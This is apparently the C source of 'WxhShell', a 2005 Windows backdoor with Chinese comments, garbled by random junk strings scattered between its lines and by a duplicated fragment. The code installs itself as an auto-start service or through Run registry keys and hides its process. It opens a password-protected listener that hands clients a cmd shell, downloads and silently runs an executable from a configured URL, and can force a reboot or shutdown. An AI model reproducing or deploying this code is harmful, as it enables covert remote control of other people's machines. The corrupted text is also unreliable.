wH>{ if(NULL == hInst ) return 0; KZ 5%q. }PI:O%N; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I0mp [6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W]po RTJ: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d27q,2f! nI3p`N8j* if (!NtQueryInformationProcess) return 0; *'?ZG/ ( %RD\Sb4YV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,-6Oma
- if(!hProcess) return 0; %r|sb=(yT YYT;a$GTo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M86"J:\u] p)SW(pS CloseHandle(hProcess); mOJdx-q?r NO~G4PUM0C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~9]vd| if(hProcess==NULL) return 0;
}#m9Q[ vaeQ}F HMODULE hMod; n.@HT" char procName[255]; |[rn/ unsigned long cbNeeded; _%CM<z
e Z1,rN#p9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nL?P/ \ Gi)Vr\Q. CloseHandle(hProcess); "lt <$. |"}rdOV) if(strstr(procName,"services")) return 1; // 以服务启动 iDDJJ>F26 sRt7.fe return 0; // 注册表启动 "w?0f[" } tl_3 %$s @g#5d|U); // 主模块 ejd_ 85$ int StartWxhshell(LPSTR lpCmdLine) $2uC%er"H {
?!Y_w2 SOCKET wsl; Z#}sK5s BOOL val=TRUE; %UI^+:C int port=0; j/aJD E(+ struct sockaddr_in door; #]dm/WzY JL,Y9G*]s if(wscfg.ws_autoins) Install(); b|_e):V| M+:5gMB' port=atoi(lpCmdLine); [3X\"x5@V }F]Z1(' if(port<=0) port=wscfg.ws_port; at?I @By I7_lKr3 WSADATA data; HVa D if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IT NFmD OP\jO DX if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \lg
^rfj setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pEwo}NS*H door.sin_family = AF_INET; 1KUjb@" door.sin_addr.s_addr = inet_addr("127.0.0.1"); |pHlBzHj door.sin_port = htons(port); ir6aV|ea! ?q`i
MiN if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a6 gw6jQ closesocket(wsl); uBts?02 return 1; bkdXBCBx? } 5ih>x3S1/ +[
?!@) if(listen(wsl,2) == INVALID_SOCKET) { 6c!F%xU} closesocket(wsl); #H7
SLQr\ return 1; JLm3qIC } y`j_]qvt Wxhshell(wsl); |-ZML~2S=h WSACleanup(); vP,pK=5 Zd-qBOB2L return 0; 6
5zx< hr]+4!/ } Vja 4WK* Un8' P8C // 以NT服务方式启动 (EcP'F*;;y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pT=^o { [.>=>KJ_ DWORD status = 0; !BVCuuM>w DWORD specificError = 0xfffffff; 'TYO-'aC N&G'i.w/ serviceStatus.dwServiceType = SERVICE_WIN32; lq.:/_m0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; fDDpR= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <h#7;o serviceStatus.dwWin32ExitCode = 0; o1#3A serviceStatus.dwServiceSpecificExitCode = 0; HsYzIQLL serviceStatus.dwCheckPoint = 0; |"K%Tvxe serviceStatus.dwWaitHint = 0; Do(G;D`h+_ '|gsmO hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Mk#) ebM if (hServiceStatusHandle==0) return; ; s(bd#Q sq=EL+=j status = GetLastError(); V06*qQ[ if (status!=NO_ERROR) f&$Bjq { vFL$wr serviceStatus.dwCurrentState = SERVICE_STOPPED; A o*IshVh serviceStatus.dwCheckPoint = 0; /{l_tiE7 serviceStatus.dwWaitHint = 0; ;R6f9tu2 serviceStatus.dwWin32ExitCode = status; m|fcWN[ serviceStatus.dwServiceSpecificExitCode = specificError; rL\}>VC) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rng-o! return; HIw)HYF2 } J t.<Z& =p@2[Uo serviceStatus.dwCurrentState = SERVICE_RUNNING; n`^jNXE serviceStatus.dwCheckPoint = 0; ,JI] Eij^ serviceStatus.dwWaitHint = 0; 9wCgJ$te if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (P?|Bk[ } \X\< +KU &FmTT8"l // 处理NT服务事件,比如:启动、停止 t8Pf~v VOID WINAPI NTServiceHandler(DWORD fdwControl) ~hq\XQX { *
4J!@w switch(fdwControl) o.r D { ,W+=N"`a' case SERVICE_CONTROL_STOP: #qVvh3#g serviceStatus.dwWin32ExitCode = 0; ?J6Ek*E# serviceStatus.dwCurrentState = SERVICE_STOPPED; .}F
39TS2 serviceStatus.dwCheckPoint = 0; ]N}/L
lq serviceStatus.dwWaitHint = 0; P4)Q5r { gm5%X'XL SetServiceStatus(hServiceStatusHandle, &serviceStatus); L[44D6Vg } E[t[R<v,P! return; .feB
VRg case SERVICE_CONTROL_PAUSE: :C^{Lc serviceStatus.dwCurrentState = SERVICE_PAUSED; [BdRx` break; ,(oolx"Xa case SERVICE_CONTROL_CONTINUE: t$qIJt$ serviceStatus.dwCurrentState = SERVICE_RUNNING; PJ:!O?KVq break; '9]?jkl case SERVICE_CONTROL_INTERROGATE: DCa[?|Y break; i5(qJ/u }; n]vCvmt SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3VU4E|s> } #:=c)[G8 IJ+} // 标准应用程序主函数 ;fV"5H)U\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d. d J^M { vy2<'V*y} \6GNKeN // 获取操作系统版本 ]UIN4E OsIsNt=GetOsVer(); {_W8Qm`. GetModuleFileName(NULL,ExeFile,MAX_PATH); U}HSL5v 5f_x.~ymA // 从命令行安装 q8ZxeMqx% if(strpbrk(lpCmdLine,"iI")) Install(); _=x*yDPG} 851BOkRal4 // 下载执行文件 q/w5Dx|: if(wscfg.ws_downexe) { `dF~' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X)(K|[ WinExec(wscfg.ws_filenam,SW_HIDE); QpzdlB44l } ~9rNP{+ D4"<suU|. if(!OsIsNt) { Otr=+i
ZI // 如果时win9x,隐藏进程并且设置为注册表启动 F+VNrt- HideProc(); DNDzK
iMk StartWxhshell(lpCmdLine); C!547(l[ } Uth+4Aq else $C=XSuPNK if(StartFromService()) c{`!$Z'k< // 以服务方式启动 lNc0znY StartServiceCtrlDispatcher(DispatchTable); PC"=B[OlJ else 4D5Wse // 普通方式启动 ~Ih`
ayVq StartWxhshell(lpCmdLine); | J'k9W" RpU i' return 0; Tn,_0 } $#%R_G] p4O[X\T nQ'NS sBWyUD =========================================== 2OI 0B\ 0 -M i
q xc'uCbH (MqQ3ys KBi(Ns#+ u*qI$?& " 7H6Ge-u <:(;#&< #include <stdio.h> d|87;;X|u #include <string.h> DB|w&tygq #include <windows.h> 0gOca +& #include <winsock2.h> *EO*Gg0d #include <winsvc.h> 0 GFho$f #include <urlmon.h> Tw%1m Z;u3G4XlF #pragma comment (lib, "Ws2_32.lib") w?3ww7yf` #pragma comment (lib, "urlmon.lib") _"H\,7E 6 ym$8^ #define MAX_USER 100 // 最大客户端连接数 cJ?,\@uuP #define BUF_SOCK 200 // sock buffer ]ZR`
6|"VO #define KEY_BUFF 255 // 输入 buffer UZ<.R"aK C_;nlG6 #define REBOOT 0 // 重启 <7T}b95 #define SHUTDOWN 1 // 关机 ;9#W#/B v}5YUM0H ` #define DEF_PORT 5000 // 监听端口 m' j1 g>7i2 #define REG_LEN 16 // 注册表键长度 "tOm #define SVC_LEN 80 // NT服务名长度 %Y/;jCY $M,Q"QL // 从dll定义API {[bpvK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pi70^`@ 'B typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Djx@x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L|D9+u L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); npytb*[|c zSMM?g^T // wxhshell配置信息 &&jQ4@m}j struct WSCFG { 39[ylR|\ int ws_port; // 监听端口 2ER_?y char ws_passstr[REG_LEN]; // 口令 37IHn6r\ int ws_autoins; // 安装标记, 1=yes 0=no MdEds|D char ws_regname[REG_LEN]; // 注册表键名 K}n.k[Do char ws_svcname[REG_LEN]; // 服务名 ~[aV\r? char ws_svcdisp[SVC_LEN]; // 服务显示名 O\oRM2^u} char ws_svcdesc[SVC_LEN]; // 服务描述信息 04-@c char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e&A3=a~\s int ws_downexe; // 下载执行标记, 1=yes 0=no VqD_FS;E char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )_Hv9!U]e char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d@8:f b{<$OVc }; D5Jg(- %y_pF?2@q // default Wxhshell configuration 7N5M=f.DS( struct WSCFG wscfg={DEF_PORT, 2A*,9S|Y "xuhuanlingzhe", gQ{<2u 1, mICx9oz] "Wxhshell", [EVyCIcY,h "Wxhshell", cJSwA&
"WxhShell Service", 'F*OlZ!BWy "Wrsky Windows CmdShell Service", QYj 4D "Please Input Your Password: ", a~!7A
ZT-O 1, z#n+iC$9 "http://www.wrsky.com/wxhshell.exe",
t"~X6o|R "Wxhshell.exe" U5F1m]gFr }; B'O1dRj&6 {~#01p5 // 消息定义模块 1j}e2H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P3a]*> ., char *msg_ws_prompt="\n\r? for help\n\r#>"; t82*rCIB{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A??a:8id^ char *msg_ws_ext="\n\rExit."; @.dM1DN) char *msg_ws_end="\n\rQuit."; uTl"4;&j char *msg_ws_boot="\n\rReboot..."; /L]@k`.q@ char *msg_ws_poff="\n\rShutdown..."; P= E10 char *msg_ws_down="\n\rSave to "; d;3f80Kd* MP
)nQ char *msg_ws_err="\n\rErr!"; 'Vhnio;qC char *msg_ws_ok="\n\rOK!"; ]g%HU%R-m C.}ho.}
r char ExeFile[MAX_PATH]; !QqVJ a{j int nUser = 0; od !s5f! HANDLE handles[MAX_USER]; QY\'Uu{ int OsIsNt; `$JOFLa D-m%eP. SERVICE_STATUS serviceStatus; UpiZd/K SERVICE_STATUS_HANDLE hServiceStatusHandle; hA`9[58/ gxVJH'[V5 // 函数声明 e9CvdR int Install(void); qr*e9Uk^ int Uninstall(void); HuxvIg int DownloadFile(char *sURL, SOCKET wsh); 'I[xZu/8yg int Boot(int flag); ^R+CkF4l l void HideProc(void); ZxDh!_[s int GetOsVer(void); ,6A/| K- int Wxhshell(SOCKET wsl); '1G0YfG}n void TalkWithClient(void *cs); hig t(u int CmdShell(SOCKET sock); Mu$q) u int StartFromService(void); IpKI6[2{`f int StartWxhshell(LPSTR lpCmdLine); p@?(m/m$ &Ci_wDJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {-|El}.M VOID WINAPI NTServiceHandler( DWORD fdwControl ); _JKz5hSl )%:
W;H // 数据结构和表定义 kWbY&]ZO SERVICE_TABLE_ENTRY DispatchTable[] = (5 RZLRn { &k(tDP {wscfg.ws_svcname, NTServiceMain}, |>Pv2 {NULL, NULL} %P*b&H^0 };
sBE@{w% E
/ycPqD // 自我安装 CF+:v(NL int Install(void) X`]>J5 { zHW&i~ char svExeFile[MAX_PATH]; wA87|YK8* HKEY key; |c2;`T#`o strcpy(svExeFile,ExeFile); "nNT9
K| (d[JMO^@8 // 如果是win9x系统,修改注册表设为自启动 6fT^t!<i if(!OsIsNt) { I(9+F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s21)*d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2%pe.stQ RegCloseKey(key); #vR5a}BAk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %nkbQ2^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A.!3{pAb RegCloseKey(key); ?Xp+5{ return 0; c,*a|@ } ;tZ 8Sh) } {Q0DHNP(G }
Bf,}mCq else { n+'s9 t.7_7`bin~ // 如果是NT以上系统,安装为系统服务 $bk_%R}s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A&Q!W)= if (schSCManager!=0) r"lh\C| { &{x`K4N SC_HANDLE schService = CreateService u3PM 7z!~ ( (j}edRUnB schSCManager, ,^T0!k$ wscfg.ws_svcname, ^P*+0?aFr wscfg.ws_svcdisp, <yKyM#4X SERVICE_ALL_ACCESS, ;FjI!V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w`Rt "d_B SERVICE_AUTO_START, tQ2S*]"f SERVICE_ERROR_NORMAL, W6yz/{Rf svExeFile, /
DST|2 NULL, ZD8E+]+ NULL, b$B-LvHd1 NULL, Z
Mf,3 NULL, O$Dj_R# NULL T%2%*oa ); VmTgD96 if (schService!=0) #XAH`L\ { 7"{CBbT CloseServiceHandle(schService); M[&p[P@ CloseServiceHandle(schSCManager); 2AjP2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x=44ITe1n[ strcat(svExeFile,wscfg.ws_svcname); p"NuR4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U9//m=_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A~wyn5:_ RegCloseKey(key); \H/}|^+@ return 0; ${7s"IX } ">R`S<W } WQY\R!+ CloseServiceHandle(schSCManager); z`|E0~{- } jx];=IC3tt } [i]%PVGW ]Ai!G7s8P return 1; YZ5[# E@l } fH_Xm :% I8:G:s: // 自我卸载 'i8?]`
T int Uninstall(void) 4"V6k4i5 { R!_1 *H$ HKEY key; rK
cr1VFy bY=Yb if(!OsIsNt) { z-h7v5i" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yc@:*Z RegDeleteValue(key,wscfg.ws_regname); ^|%7}=e RegCloseKey(key); ?*U:=| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rj;~SC{ RegDeleteValue(key,wscfg.ws_regname);
`AELe_ RegCloseKey(key); ?Q}3X-xy return 0; M_F4I$V4 } DOWZhD } Z
,98 } :J6FI6 else { }+
TA+; uulzJbV,K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O>arCr=H if (schSCManager!=0) )0 i$Bo { S >\\n^SbT SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %lN4"jtx if (schService!=0) jD_B&MQz { M
cbiO)@I if(DeleteService(schService)!=0) { ;+VHi%5Z CloseServiceHandle(schService); {=kW? CloseServiceHandle(schSCManager); hKFB=U return 0; m\J"P'= } 7e@Bkq0) CloseServiceHandle(schService); Zq\ p%AU9 } ]"\XTL0 CloseServiceHandle(schSCManager); PAy7b7m~B } .h;X5q1 } <p8>"~R (I(k$g[> return 1; F#\+.inO }
B*Q C=PV-Ul+ // 从指定url下载文件 iM s(Ywak] int DownloadFile(char *sURL, SOCKET wsh) /Oa.@53tK6 { %'[ pucEF HRESULT hr; e#{l char seps[]= "/"; U\", !S~< char *token; ^NOy:> char *file; =zKbvwe%X char myURL[MAX_PATH]; F[U0TP@&* char myFILE[MAX_PATH]; 29h_oNO h>jp.%oOu strcpy(myURL,sURL); [IW6F token=strtok(myURL,seps); ZfIeq<8_ while(token!=NULL) B7BikxUa { 3})0p file=token; 1
,4V8gp token=strtok(NULL,seps); &pLCN[a } ]7_O#MY1 97SG;,6 GetCurrentDirectory(MAX_PATH,myFILE); tsqWnz=) strcat(myFILE, "\\"); R{Qvpd$y strcat(myFILE, file); ogKd}qTov send(wsh,myFILE,strlen(myFILE),0); WevXQ-eKm send(wsh,"...",3,0); %Z6\W;
(n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =?-
sazF& if(hr==S_OK) jTq@@y return 0; Q##L|*Qy else STQ~mFs" return 1; &5;y&dh ffE>%M* } JQWW's} =)y=39&;/ // 系统电源模块 lIL{*q( int Boot(int flag) ,V:RE y { TGQDt|+Z HANDLE hToken; $^"_Fox]A\ TOKEN_PRIVILEGES tkp; dq$CCOC^F 'QEQyJ0EB if(OsIsNt) { 7_ah1IEK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KdTna6nY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r$.v"Wh) tkp.PrivilegeCount = 1; )v?-[
oR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TANt*r7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AehkEN&H/t if(flag==REBOOT) { @](\cT64i3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f Tc,"{ return 0; 7Ke#sW.HN } Ty>g:#bogI else { V{G9E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lEv<n6:_ return 0; wC[Bh^] } o+Kh2;$) } ;P4tqY@ else { $C !Mk if(flag==REBOOT) { 4FgY!k if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Md'<. return 0; ec` $2u } aF\?X&| else { We*)RXm% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ev;ocb, return 0; a0ze7F<( } ]tVXao } RDu'N IW'2+EGc return 1; f@a@R$y } R9z^=QKcH )vFZl] // win9x进程隐藏模块 (e;9,~u) void HideProc(void) P>t[35/1 { ZXj;ymC' Tse
Pdkk HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Wd_cNR\ if ( hKernel != NULL ) #D{//P|; { t7p`A8& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?I`ru:iG ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _('KNA~ FreeLibrary(hKernel); kDG'5X;+ } jHx<}< :i6k6= return; ;|LS$O1c } $yx34= ,\K1cW~U5 // 获取操作系统版本 /U%Xs}A) int GetOsVer(void) S qQqG3F { sm>Hkci% OSVERSIONINFO winfo; afMIq Q? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^f,('0p-> GetVersionEx(&winfo); XHlx89v7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +$+'|w return 1; n'#(iW)f else ,JcQp=g return 0; E@_M|=p& } nJ4CXSdE e1RtoNF ^ // 客户端句柄模块 ;U|^Tsuc` int Wxhshell(SOCKET wsl) J
dDP { df7z&{R SOCKET wsh; THmX=K4=? struct sockaddr_in client; h,V#V1>Hu DWORD myID; Cu\A[6g, o?J>mpC while(nUser<MAX_USER) ZC1U { z.[ Ok int nSize=sizeof(client); m
dC.M$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B94mh if(wsh==INVALID_SOCKET) return 1; ;Db89Nc$ 1&
k_&o handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -hP@L ++D if(handles[nUser]==0) khb
Gyg% closesocket(wsh); %L./U$ else ?~aM<rcZ nUser++; jz$)*Kdi* } -< 7KW0CA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OZ q/'* +*Cg2` return 0; 8<t?o'9I } <&o
`T4 .O'gD.|^N // 关闭 socket <)]B$~(a void CloseIt(SOCKET wsh) OwQ 9y<v { 3
SQ_9{ closesocket(wsh); OX?9 3AlG nUser--; >29eu^~nh ExitThread(0); >=2nAv/( } qx"?')+ -9U'yL90B // 客户端请求句柄 |Js96>B: void TalkWithClient(void *cs) m)q;eQs { ~} mX#, sDCa&"6+@ SOCKET wsh=(SOCKET)cs; t?v0ylN char pwd[SVC_LEN]; kvdzD6T
9 char cmd[KEY_BUFF]; u+zq:2)H6 char chr[1]; {nbD5 ? int i,j; EYUr.#: #TUsi,jG while (nUser < MAX_USER) { ~S
R:,R }@OykN if(wscfg.ws_passstr) { H+; _fd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sf?D4UdIH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;1cX|N= //ZeroMemory(pwd,KEY_BUFF); /s=TLPm i=0; r! 5C3 while(i<SVC_LEN) { WW;S XTyn[n // 设置超时 8*)zoT*A fd_set FdRead; (G"b)"Qum struct timeval TimeOut; T.HI
$(d FD_ZERO(&FdRead); EG0NikT? FD_SET(wsh,&FdRead); /
GJ"##< TimeOut.tv_sec=8; j*$GP'Df3 TimeOut.tv_usec=0; {P(Z{9 u% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -?!Z/#i4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /+J?Ep(_ F#iLMO&Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b9OT~i=S| pwd=chr[0]; y6;'?.Y1 if(chr[0]==0xd || chr[0]==0xa) { 7BF't!-2F pwd=0; }{Lf 4|8 break; C>@~W(IE } ag?@5q3J} i++; ^#S } qEf)TW( ;oULtQ // 如果是非法用户,关闭 socket >lyUr*4PX if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FWdSpaas Q } _?@>S 7- NeHR%a2~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^C):yxNP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 42Vy#t/HC Z[AJat@H while(1) { K~@-*8% oRy?Dx+H ZeroMemory(cmd,KEY_BUFF); bR*T}w$< QKZm<lUL // 自动支持客户端 telnet标准 kzns:-a j=0; nUhD41GJ while(j<KEY_BUFF) { ?GD{}f33 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ahS*YeS7 cmd[j]=chr[0]; VrO$SmH if(chr[0]==0xa || chr[0]==0xd) { R.|fc5_"+ cmd[j]=0; @w6^*Z_hQ break; \(Zdd
\, } 6l [TQ j++; XT~JP } 2{XQDOyA
WqY:XE+?\ // 下载文件 <pYGcVB9V if(strstr(cmd,"http://")) { Zi@?g IiX send(wsh,msg_ws_down,strlen(msg_ws_down),0); tI{
n! if(DownloadFile(cmd,wsh)) V)Z*X88:Tv send(wsh,msg_ws_err,strlen(msg_ws_err),0); UH%?{>oRh else j=dHgnVvj send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vT%rg r } HQ@X"y
n else { *[W! ng YZpF*E;6t switch(cmd[0]) { 3Eiy/ f:"es: Fb // 帮助 qdZn9i case '?': { X"iy.@7 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3{d1Jk/S break; '9<Mk-Aj } 09|d< // 安装 r^ #.yUz case 'i': { \+Qx}bS{ if(Install()) 4w]u: eU send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.%:Q0i1 else /kx:BoV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4y
582u6^ break; %tUJ >qYU } A8c'CMEm // 卸载 D9#e2ex] case 'r': { <po(7XB
if(Uninstall()) )]>=Uo send(wsh,msg_ws_err,strlen(msg_ws_err),0); H -.3r else A3'i
- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qh F/iUE break; Om>6<3n } JWMIZ{/M // 显示 wxhshell 所在路径 kwGj7' case 'p': { )F4er' char svExeFile[MAX_PATH]; .t"s>jq 1 strcpy(svExeFile,"\n\r"); 'cH),~ z strcat(svExeFile,ExeFile); vx!nC}f"k` send(wsh,svExeFile,strlen(svExeFile),0); (X>r_4W$ break; ms;Lu-UR } 4"l(rg // 重启 "vU:qwm case 'b': { cQ3Dk<GZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "~d)$]+ if(Boot(REBOOT)) nV:.-JR send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3e I:$1"Q else { l4;/[Q>Z closesocket(wsh); 2$[u&__E ExitThread(0); {hg,F?p
' } CmJ*oXyi break; CzNSJVE5 } PcUi+[s;x // 关机 Fo?2nQ< case 'd': { P>4(+s
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /:yKa=$ if(Boot(SHUTDOWN)) =\:YNP/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@]Z&H; else { !WVF{L,/I closesocket(wsh); q3scz ExitThread(0); pN*>A^ } AU-/-h=Mr break; f*oL8"?u& } P-^Z7^o-bX // 获取shell v,+2CVdW case 's': { 2&$ A x CmdShell(wsh); qMI%=@= closesocket(wsh); J#:%| F% ExitThread(0); x:sTE u@ break; 5'l+'ox@J } Rq4\~F? // 退出 $ZQP f case 'x': { #Fu OTBNvB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0_"J>rMp CloseIt(wsh); U6.$F#n break; ? 76jz>;b } og2]B\mN4 // 离开 Fo;xA case 'q': { ,a5I:V^\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); WNd(X} closesocket(wsh); RMLs(?e WSACleanup(); DJrA@hm/Y exit(1); s'} oVx] break; gtCd#t'(V } q7m-} mBN~ } !y4o^Su[ } -fG;`N5U U&`M G1uHe // 提示信息 lg1?g)lv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F5+f?B~?R? } n6L}#aZG } SwSBQq%h]M h7*fjw-Xz[ return; g%9I+(?t } (MNbABZQ #{ `(;83 // shell模块句柄 Nv #vfh9}P int CmdShell(SOCKET sock) EVRg/{X { kCN9`9XI{ STARTUPINFO si; \!G&:<h ZeroMemory(&si,sizeof(si)); @Cw<wrem si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,pf<"^li si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &:'Uh
W-t PROCESS_INFORMATION ProcessInfo; \J9@p char cmdline[]="cmd"; oEKLuy CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \'E%ue_<9 return 0; /0"Y.
@L } /o8h1L= 7c+TS-- // 自身启动模式 ";s?#c int StartFromService(void)
<K4'|HU/ { @uT\.W:Q2 typedef struct E(TL+o { 193Q DWORD ExitStatus; nJ'O(Wh,) DWORD PebBaseAddress; 10}\7p8 DWORD AffinityMask; XQlK}AK DWORD BasePriority; aSKI%<?xN ULONG UniqueProcessId; mNcTO0p& ULONG InheritedFromUniqueProcessId; Jqjb@'i } PROCESS_BASIC_INFORMATION; *PZN Z{|m ^U:pv0Qz PROCNTQSIP NtQueryInformationProcess; _~5{l_v|I 1(rH5z'F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oh#6>| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gZ/M0px /lAt&0 HANDLE hProcess; r+v*(Tu PROCESS_BASIC_INFORMATION pbi; ]hL 1qS "'II~/9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KQQR"[z&V if(NULL == hInst ) return 0; 1 ljgq]($ HtmJIH: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oACuI|b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a.wRJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mY;Y$fz;xL b_\aSEaTT if (!NtQueryInformationProcess) return 0; (j}"1 K~v"%sG{` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0I~xD9l9 if(!hProcess) return 0; x:@Ht TX F/&Z1G. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ",`fGu ) y=5s~7] CloseHandle(hProcess); ~i6tcd 3H@TvV/;f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,j9}VnW) if(hProcess==NULL) return 0; R;'Pe> 0(:"q!h HMODULE hMod; />K$_T/] char procName[255]; f }eZX unsigned long cbNeeded; Lgvmk 